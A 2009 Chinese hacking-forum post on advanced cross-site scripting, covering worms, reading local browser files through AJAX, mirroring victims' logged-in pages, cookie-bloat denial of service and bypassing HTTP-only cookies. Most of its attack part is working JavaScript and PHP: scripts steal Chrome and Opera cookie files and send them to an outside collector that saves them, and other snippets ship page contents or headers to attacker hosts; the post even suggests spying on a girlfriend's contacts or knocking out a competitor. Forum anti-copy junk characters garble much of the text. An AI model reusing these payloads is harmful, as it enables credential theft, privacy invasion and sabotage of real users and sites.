XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
7 }9 O3 ~8 W+ u转帖请保留版权



7 A( m5 Y% ^7 t-------------------------------------------前言---------------------------------------------------------

" l+ ~4 w5 W0 Q* F1 l2 x
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


. E* w+ t$ _. I% x5 U8 Z: R: b如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
" b! l6 }) o& xhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持




2 L) j* _: `( H如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
* ]( C# x( s2 i  H
7 b6 W& Z) y# V. N4 u% W希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

! b4 X2 R6 ~, c& C  x( iBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
# s- u% D( A5 g: Y5 I. d  z
+ B( ]  [0 i1 ~) CQQ ZONE,校内网XSS     感染过万QQ ZONE.
% X: `( N' W% i
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

. q# ]' }/ N2 [, d..........
* R" l5 ]1 B5 j- t2 i复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.


, M/ h$ k- W7 E+ C% g+ L
" X" h0 e" n  t; D4 I2 R8 o如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
0 i5 T( R5 P6 m2 P复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
* [& J3 D8 n: K" S! h9 b我们在这里重点探讨以下几个问题:
& @" n0 m6 ]: y+ G
" t" i9 ^3 p8 D' d. X1        通过XSS,我们能实现什么?
. O' k; J' d- M  W
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

$ W5 J9 d$ x5 @& w2 N3 u5 ^3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
/ m4 ]% |1 Z( ^$ G% R+ g6 f
- M  t) E9 A) M. h
! D6 D4 U6 [# X( t
------------------------------------------研究正题----------------------------------------------------------



9 q- L2 A  S8 N通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
6 a6 b# P7 H8 S! E. |+ b复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
9 e0 M) M5 @3 A  R2 A1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.

* ~8 n7 H/ V* q

, _4 Y8 W+ V+ {) |, [6 l* M1 {
6 }+ @, k+ A! i- Z) \* T1 V
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
. I; q. E: b2 H2 \7 ~


    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。


9 I% w* @7 y+ F8 ^1 I0 [
, k9 f* ?2 H  t2 P# M    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

5 \0 k) K: L+ G- h  D$ F6 `

    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

/ c% d0 ?4 u2 j    function $(x){return document.getElementById(x)}

5 \9 s! I( N9 F! O( A. i

1 g2 w2 M( Q) `- S5 h) ~: y+ G' [    function ajax_obj(){

# E% j/ D% p+ d* C. B1 A8 t; j    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

$ N8 p* g) }* p$ W    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
5 L  t  ]5 R( E1 l" L: u


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
+ F  \9 V& g9 f/ ~% |  {9 I
    for(var i=0; i<versions.length; i++) {
5 S1 o6 s) O# D5 a" B5 d
    try {
) `& p8 |1 P' F. e! ^
    request = new ActiveXObject(versions);
' I/ e+ U2 R; Y6 N4 ~5 J
* v( N' f1 X/ f! R    } catch(e) {}

    }
9 V" R0 b' k( z
' Y0 [9 y: b0 g! |2 K9 d    }
5 |- R2 X" G: e1 G: q
    return request;
; J- M$ Y' U% S' M7 [6 @
/ V: \: x9 o+ K. A; Q' R    }

) w( a8 y9 J! F    var _x = ajax_obj();
- |5 m9 q1 X9 U( a! W4 f
    function _7or3(_m,action,argv){
# c* v  M& T" e6 N* o. Y
% s5 ^' c2 p4 S7 a8 U1 v    _x.open(_m,action,false);

  r6 `# S0 I9 l( h7 |5 Y    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

# G. d# g5 c5 P6 Z& C* Z    return _x.responseText;
" {/ c& Y2 R3 ^0 v, S9 \" O, A; ]
    }
$ t& W" y) y+ k3 k* Y/ R


    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

3 j* S: S! ^3 O$ s- D8 S4 v    alert(txt);
7 Y1 y' t% m, x; B. L, i* S
( a# S8 d1 e3 o: i5 [+ H2 @
; |9 W+ B. b4 H( c6 W) w5 u: t" [
    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
- j' P  J; j$ G1 D2 a. r7 W5 S
    function $(x){return document.getElementById(x)}
. Z5 V3 P0 L& I; _7 d( g
# [0 [( k: y$ Q
/ K/ U- L, h( Q8 e! g
    function ajax_obj(){

5 z- T$ j# e% h8 A    var request = false;

    if(window.XMLHttpRequest) {

+ W( ]9 n  }+ K, m    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
6 N' N3 d( O  T+ O( w+ y: F3 S
3 _% j. X) c- P: E5 i" X9 P    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
7 k' T; D# A& X) Q
9 i  Y  I9 y4 O% T7 t8 k3 a

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
/ A! q; X; q; J# q) @
    try {
& h+ L5 U8 a3 E  q0 F: F; S
    request = new ActiveXObject(versions);
0 Y: f) [* S; g7 |
    } catch(e) {}
5 B7 m0 r1 Y- ]* B1 M/ \7 w
; N' q$ V4 ]/ m8 v+ e8 p9 P: L    }

    }
! ~1 N* t' d) M3 p
    return request;

    }
) D$ [% x! u9 ]+ Q, Q
6 D2 @( G' s! B: R1 F; J! Q6 C    var _x = ajax_obj();

    function _7or3(_m,action,argv){
  d1 I7 `1 \0 J% U8 f  L
1 A" c4 K& g, h, L$ O+ }    _x.open(_m,action,false);
- W: A5 [0 W# r, O
  W, |. c/ ~& c" M) u    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

4 i4 f: C# Y: p4 Q, F8 w    _x.send(argv);
% ]( q' b. b5 r, [& x) Q6 M
    return _x.responseText;

/ ?. m4 ?$ ~1 H+ ^9 R3 p5 R, c/ [! D    }
  z% E. k: r# v+ S% x5 L- b3 m


    var txt=_7or3("GET","1/11.txt",null);

2 F+ S  K) h6 ?    alert(txt);
4 K* S2 L$ n. y8 t' Y, o, n0 n7 F
, L4 _+ T9 n2 ]4 ]! M, A- c
; v: @7 x: j! i; I* B& k
8 j2 ^3 B+ [( t" E    </script>
3 ]: G- }2 h& L; X" z复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
. t9 v  L( {; ]
- F6 q( u- i- G8 D7 o) @; j& d
& m. r+ D  A8 y) q5 x4 t
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"


  f+ v5 \5 l& k, ^% b. _. k
' \. `( r6 t7 i1 u6 C6 {<?   

/*  
% ?" Z- [4 }( h4 E
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
$ q/ m' W3 b8 g$ l" q  ?8 w
* b9 {$ Y- X8 _, P  E# K     www.inbreak.net   
7 @7 Z# V# J/ Z9 p
0 e% P! Y9 b/ }- D8 f$ i. n1 l  |     author voidloafer@gmail.com 2009-4-22   
! R, Y* O1 F5 \# D0 S" M) t4 C
* r; L7 L2 @9 z# h# E     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
8 i/ d: W- B; [5 f7 e  V
8 r- R) V7 F! |! T: ?7 Gheader("Content-Disposition: attachment;filename=kxlzx.htm");   

3 Z0 p$ a( j4 X7 J7 Y8 kheader("Content-type: application/kxlzx");   
' D1 D" i; j+ @8 [/ _8 b( B, R
# e) U! {; n: D% F' P: v6 K/*  

4 B! o9 C8 l3 i7 j6 f/ Y7 b' d" d/ M3 h     set header, so just download html file,and open it at local.  

) W- l# {9 t+ t/ N*/  

?>   
# g0 b: r+ e& ~/ A5 S3 i- Q
1 l  T5 a. k) \<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

9 E* u1 g8 n3 p& C9 w     <input id="input" name="cookie" value="" type="hidden">   

) ?" D4 V+ D* J9 u' [* K2 \. `$ H0 l</form>   

$ g2 Q3 ~6 T" ?! i+ C<script>   

/ n( l& K& o# i/ E8 Pfunction doMyAjax(user)   

! [% x2 r8 o$ B6 H{   

' w$ b* T2 y5 ~, [$ {var time = Math.random();   
! D$ j; P% i+ Q; o' i4 H, b! @# t
/*  
, R$ h. W  F0 n& t
- a& |" X, W& b$ h8 ]/ J7 \0 ]the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

! b, q$ m$ o% j- X- p  Y3 mand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
+ i5 a# W. A7 a/ y1 i
0 z1 N  q5 G/ m# }and so on...  
$ I2 F' U3 p8 O$ ~' W0 R
3 y! G/ L  o9 K- E+ t; W) G6 r*/  
/ U1 A+ x8 n3 M0 g' |
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

startRequest(strPer);   
# ~, O' N% x) U  w
8 i& p6 c) E8 u2 {9 M) a
4 t2 \& G. C4 y7 ?6 W2 i5 I' V3 L3 g
}   

& y* e+ U& ]7 o& u1 F& n$ s   
6 ?- o) J  D& H% Q& a
4 C5 r' Y6 c- c0 }. @+ Ufunction Enshellcode(txt)   

. |! c+ ]' f/ L{   

var url=new String(txt);   

var i=0,l=0,k=0,curl="";   

l= url.length;   

for(;i<l;i++){   

k=url.charCodeAt(i);   

, Q! U# c9 n/ A" q! j* h, v1 t/ l' iif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   

% M$ ^# d+ |: C5 o& Lreturn curl;   

}   
9 p" L! ~' e0 A) c! f5 B
   

2 m' U+ \  Y6 N   

! m7 q/ C9 i: V% r6 A; rvar xmlHttp;   

function createXMLHttp(){   
  u. y! |7 w2 m& @: l
$ f8 R( s" y/ W  Q, y- v8 c     if(window.XMLHttpRequest){   

/ V* T2 @7 c! H8 [xmlHttp = new XMLHttpRequest();           

     }   

     else if(window.ActiveXObject){   
; w  s% s1 P$ v! x9 x$ K
% A+ ^" c( k( |) HxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
! o) v0 l9 ^' V& K
; a8 x7 F) y& M" W     }   
6 V2 g9 r+ B; b$ R! O
}   

0 w3 U. b4 Z( o- t& R* l  a   
* h, ~# r9 G. _* U3 @& C" S1 w, }+ U
6 ^' f  ]- s+ Q7 u1 q) Z3 xfunction startRequest(doUrl){   
! x4 i+ U$ [4 u9 `2 j
( W6 A8 R) ^! a5 y+ \   

     createXMLHttp();   
, ^) I2 P& E2 K
7 m! r4 x0 m4 P+ _7 x+ a
7 N2 a7 m9 V4 R/ q; K+ `. c
7 G6 q% X( ~& P8 f( L* d4 F5 ~     xmlHttp.onreadystatechange = handleStateChange;   

. z! Z6 h: Z1 Z5 d
$ N5 ?+ ^9 f  b+ h/ q( Y0 u
' r& b* a$ S0 W" H1 c     xmlHttp.open("GET", doUrl, true);   

/ H( z9 A5 |0 t' |: e/ A
) X9 f, I1 H2 @! ]" V3 `1 a
' G1 T. J  i% d  L) G: [8 D     xmlHttp.send(null);   


/ b( w' ]* R" m6 ~& g8 l
% T; B5 S! l* j

3 \9 ~5 {% K( N1 w, h}   

8 D, A$ a& A% a   

function handleStateChange(){   

7 w  m" E4 K: L& P9 Q9 u     if (xmlHttp.readyState == 4 ){   

. f* u8 `, M- k# V! R" e( F     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

% J/ p, s! s3 _1 ^0 ]        
" Z. U' I: @1 M, }6 X
5 _! W0 L0 |  [% S; A     }   

}   

  m& O" f3 z  Z/ n  q5 U   

   
0 r7 j+ t+ A: v4 {* h( j. ^. J' R
function framekxlzxPost(text)   

& \0 m: E" l4 X6 g% i- p{   

     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

}   
& p+ C% @7 X% [1 B) Q& t
   

  T3 P$ ^( _$ k- c" QdoMyAjax("administrator");   

* L/ v6 G) M) l6 c, ^   
: b9 Y4 W  o7 J$ s' ^# _6 a
6 S; ?( f! ^2 R) G( h</script>
* D0 X# W! G; t& {7 O% ~9 j9 P2 x复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
. k; q; `6 T- y& w2 k- i; O: A! z
var xmlHttp;  

function createXMLHttp(){  

% B: C/ ^% U& U. `     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

& s% [2 W" t' o     }  
7 p2 q0 _3 R( B, i/ v" E/ R; |
8 P$ {4 w3 p# J  b/ e     else if(window.ActiveXObject){  

0 Q3 m. ?1 q: X8 Q         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
& ~; Q4 E9 O( r/ u6 R2 O
     }  

}  
2 S, J) }- j# ~
$ M! ]2 r2 _' E, ~6 G   
6 Z! L! F7 N4 \, W+ L
: b0 o8 d7 K% M- s2 O% ~1 Tfunction startRequest(doUrl){  
- ]: I% I; S" F1 v
           
" f) [; z; D3 c! u- Y
     createXMLHttp();  
, K1 U* n9 h9 U' d8 h! b5 s
2 \2 O5 [; y" M0 ?$ R      
9 }/ W: L( e9 U- v
     xmlHttp.onreadystatechange = handleStateChange;  
# m+ O. m8 L5 Z
' E  ^. w" y2 V  j9 j$ x      
3 n- K8 _/ \% f8 B% ?( ?& w) D
  W' Z2 M1 y$ [1 Z     xmlHttp.open("GET", doUrl, true);  

: l2 |8 H4 X8 K: ~0 f) Y8 q      

# [" C( S% }9 Z6 G# y7 y     xmlHttp.send(null);  

      
5 I% K5 d/ @( F4 a9 p0 |' L
      

# Y& _! G( Z1 Y8 ^9 j1 w}   

3 U+ O1 \6 K0 l   

function handleStateChange(){  

% a" E9 j  u6 @! ~) o( N4 ?; H     if (xmlHttp.readyState == 4 ){  

* l" [4 I3 @0 e4 M+ l             var strResponse = "";  
1 B* @: \) P/ n
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
3 b$ Q2 y* q$ u1 i: w1 h4 i  L. C, O
5 v7 C9 K9 I' N1 e               

! k, O$ ^: c) X2 v  P! `% ~     }  

* V! b; d( P% C! s}  
3 _4 S0 o- k0 i& @
   

# ^# Q* w) T8 [0 T# Gfunction doMyAjax(user,file)  
9 s* r% v, @- g/ U2 l9 r, R# Y
8 V& m) G" Z" s/ `+ A1 R: x! i5 f{  
4 |" \; U; H, s+ F
         var time = Math.random();  
, [' }8 X# R0 w8 v2 V
           
3 o+ Z1 B0 x4 x% n% b  J
6 F9 k0 `" H0 S5 K( G         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

# u: o6 M; w9 E$ ]6 H5 F0 @# k           

; J1 D5 P; a& ~) B         startRequest(strPer);  
$ B0 a4 K9 O- G; c
      

}  
1 v4 A/ n% s- E& ]3 y
- D* N) l: l$ O' M3 d& Q3 A/ o) [   
4 L. M7 u4 |( ~$ p+ u
function framekxlzxPost(text)  

{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
- I" t9 S0 p, L' O- o2 H3 j
     alert(/ok/);  
' e  a5 R: o% W. ?
}  
3 D0 i7 B. ~+ ?, c2 V/ E$ w
" V! c! N0 M2 h6 F' ?   
2 P6 J: y% d( r$ x* G- A
doMyAjax('administrator','administrator@alibaba[1].txt');  

   
' J2 V- i2 V: n% ?" v5 A, {
</script>

, b! V, i1 h7 _  O( ?- k# r7 @0 o


6 p' {/ F  V+ k
a.php


( Q/ _0 `% }0 C( Q6 ^3 j7 E' y
/ j1 y" V& W% d. I<?php      

   

$ e' k/ l: [( U$ h4 S, l$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
2 h* D! S6 y) m  t" c
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  
- S: C# L$ k/ |7 P1 X% k
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
8 n2 f0 z* f; J
4 S* X9 N/ E% o$ gfwrite($fp,$_GET["cookie"]);      
0 p# t8 R- S& q7 i
fclose($fp);   

?>
$ T' Y- s# S; b  O+ @复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
9 n7 t* r5 i' f4 Q5 E9 H" i
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
4 s( U3 W3 k1 N# d3 [利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
- c9 ]7 K7 X, K9 R
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

. Z1 D" ~. i* C+ V8 A% t//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
4 I7 O4 x) S) ?" |) b& V+ K1 S
function getURL(s) {
6 f$ w* j( b7 X7 O- O, a
8 ~% h6 ]% h4 @: dvar image = new Image();
3 }$ l5 W2 \0 ]. V0 T2 U
image.style.width = 0;

image.style.height = 0;
1 q- l: P7 K! K  F, n3 x% a
! D9 W* G. b  K4 f/ v- u. ^4 d2 Oimage.src = s;

1 D7 ?1 |7 y# K3 B5 b9 b: y}
) W0 U4 k* @: M9 M$ N+ f4 H  O% t
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
3 w# a6 Z& p2 M# T: s这里引用大风的一段简单代码:<script language="javascript">
6 a, A9 \; I4 B8 e  ]1 h+ D
5 o' b( N( }. xvar metastr = "AAAAAAAAAA"; // 10 A
  z( \) C# s; Z8 c) K6 _, t
var str = "";
5 I7 a0 ?% I6 n- [- b
* z: @1 }6 V4 s% G+ _# l, jwhile (str.length < 4000){
& ^( z" g: Z' @" R( e0 w& `
    str += metastr;

  ]& P4 w$ q. |. V( G& B}
7 P& T" d. f6 j& M" g

3 @0 t+ Z- {0 M3 k
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
7 Y" R- q2 J- l  I# t. ]1 T
  K$ |! p. m2 r; L( V</script>
0 t: v# f$ [9 ]
; w! N) H& Y7 L; I, H! k1 V' i详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
: d) N$ N- w! X- W" O9 \" u& [( n复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
# y. ~0 A, p' u0 R
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

- @( g' j" r9 q: v
; B* e: x4 I) d
0 \' T' ?; p; d7 s; E4 l+ n/ x

3 L- d# X4 }3 `. d, E
' \$ V) `; J/ z  `/ C* u(III) Http only bypass 与 补救对策:
( L- a3 A6 c; F: ]( b: p# B$ Y
9 S$ `: |  ]7 G什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
1 q: D5 O, O2 N( y
<!--

function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";
6 Y+ t9 T% Z# X6 M  X
alert(document.cookie);
" H7 D. V, ~9 q* y
7 m9 v  D. b# A' ^; N1 C' k}
. F0 L; d( W5 O0 p% m3 x7 P* H- ?

/ _- i: S- F- L: I/ R, [& l+ v* W

3 A+ b( F3 q# R/ k
8 q9 d7 I+ e7 S+ y& Lfunction httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
8 W. i3 R5 h% P6 B4 u2 H
alert(document.cookie);}
; ?+ S- @( I1 Y& \$ C% k$ Z- ]" _* R
& n! t  l5 R: L! u: Q  g4 f( e
$ m( q9 ~) `- r8 l
//-->

! b1 K# l* |  _  V5 h- @</script>



<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

2 u, Q5 b. N) q<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
2 f+ G6 _$ }' x2 T$ A- A


1 Y3 J( {: l- q2 |; p, ~var request = false;

5 K$ j6 }; Y: B        if(window.XMLHttpRequest) {
2 i1 E; }, N* t; T" s  e4 [! x2 _
            request = new XMLHttpRequest();
2 N0 P$ i- e$ m3 g
' i" e$ h/ M) v$ h            if(request.overrideMimeType) {

" g$ y# h7 c/ e* ]; Z9 e! A! p                request.overrideMimeType('text/xml');
- W7 o& e& I; Q0 Z2 x1 B# q% C" b
            }

1 ~- r5 p! X4 m$ c! m7 ~        } else if(window.ActiveXObject) {
2 K: \! N/ b3 {! p! W
0 y* d$ x7 b7 F            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- P# J" a- f, y% Z4 E
9 `& ~% R$ P! `- b4 q2 T            for(var i=0; i<versions.length; i++) {
6 q* Z# ?2 k1 C4 V- C, r7 ]
                try {

                    request = new ActiveXObject(versions);
) E, V7 z5 Q& [; n& k) \, \
                } catch(e) {}
6 b$ W' ^& f* E8 B9 h
            }

* N4 j6 K# G: r* s1 ?! [! e        }
& X8 i# e0 K* m( x) f1 f
7 F# H- x& ~& C7 p* UxmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);
+ E5 w, D1 x# ~+ w1 w7 U
- e0 n5 m' }  D2 {xmlHttp.send(null);

2 q  K- t8 p* \( t: `  r- V3 Z" h  XxmlDoc=xmlHttp.responseText;

alert(xmlDoc);
) T6 Z" X$ E( c( j
5 [* ~  h- j) ^) i( U</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

6 _7 b7 w# q! g  Mvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
; F6 U, ?" x: K2 J) B" V  K+ W
XmlHttp.open("GET","http://www.google.com",false);

0 K3 q# j5 A' z9 C* z. [* j# _XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
  a2 {3 i1 v/ [. I: ]9 \
XmlHttp.send(null);

var resource=xmlHttp.responseText
- A- z* e- R9 J7 q
: s8 H4 ]: ~3 j9 Eresource.search(/cookies/);
! ~' I7 B  @/ O
1 @: }, a! a! [......................
4 J  ]! B$ G( Z! k
" i6 |" Z3 E0 q4 f+ V- v</script>
* M. J! [5 C- H1 {, P6 \




如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

. n+ A' A# M8 a: g- a/ _* l[code]

RewriteEngine On
( x" g, m; T' d8 w2 k
8 l9 n) n6 e# S$ b0 PRewriteCond %{REQUEST_METHOD} ^TRACE

8 ~/ v( T- x. y- F# y' {* t( F! fRewriteRule .* - [F]
3 B1 c0 h5 t- R8 c$ g
$ K* t3 H% |# ?) D
, x% u$ g* y! S$ l5 @+ n
1 I" Q) v% q+ E2 P1 l# W! L8 o  CSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
* _; C- P. x$ z6 P$ c* ]
5 e2 P9 n& E6 H1 Nacl TRACE method TRACE

...

http_access deny TRACE
" _( D1 j. z  z3 y3 H( x" \/ G复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
7 x. f+ u; t* P  e! f
: J' |4 |% [* X$ g- C) [! I9 evar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
  G; Q: P1 T: I0 t7 z) B
6 }$ V8 x  V- BXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
6 H6 ], U; z, R) B6 s7 m
. E6 X6 }. [" g! h1 lXmlHttp.send(null);

8 m" S1 a6 x) ]4 C1 \( M</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

